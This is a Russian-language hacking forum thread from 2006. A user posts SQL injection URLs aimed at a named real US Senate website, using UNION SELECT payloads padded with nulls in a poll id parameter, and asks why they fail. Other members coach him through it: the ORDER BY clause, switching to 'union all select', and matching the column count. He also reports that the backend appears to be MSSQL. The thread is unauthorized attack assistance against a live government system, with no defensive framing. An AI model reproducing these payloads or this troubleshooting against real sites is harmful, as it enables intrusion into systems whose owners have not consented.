Помогите со Sql

Discussion in 'Песочница' started by EST a1ien, 27 May 2006.

  1. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Code:
    http://allard.senate.gov/public/index.cfm?FuseAction=Polls.Results&PollsPoll_id=-16+union+select+null,null,null,null--&IsPopUp=True
    При таком вылетает
    А при меньшем количестве столбцов вылетает
    Тоесть неподходит количестово столбцов.
    В чём моя ошибка??
     
  2. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    если я не ошибаюсь то перед вставкой твоего параметра в конечный запрос идет order by то есть нормально заюзать union select не удастся, почему о невозможности юнион кричит только в начале хз. а вообщ если вылетает аткая ошибка ставь union all select
     
  3. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Да ты прав там идёт order by.
    А при вот таком запросе
    Code:
    _http://allard.senate.gov/public/index.cfm?FuseAction=Polls.Results&PollsPoll_id=-16+union+all+select+null,null,null,null,null,null,null,null,null--&IsPopUp=True
    Тоесть воспользовался union all select но пришлось увеличить количество столюцов.
    Вылетает вот такая ошибка
    Еще пробовал вот такой запрос(как я понял там стоит mssql)
    Вылетело
    И еще узнал
    По какому полю делается ордер "DateCreated".
     
    #3 EST a1ien, 27 May 2006
    Last edited: 27 May 2006
  4. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    756
    Likes Received:
    351
    Reputations:
    353
    скл подучить.
    юнион селект, а не селект юнион. ;)
     
    4 people like this.
  5. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    1) убери ковычку
    2) сначала идет оператор union а затем select
    3) подбери нормально количество нулей -)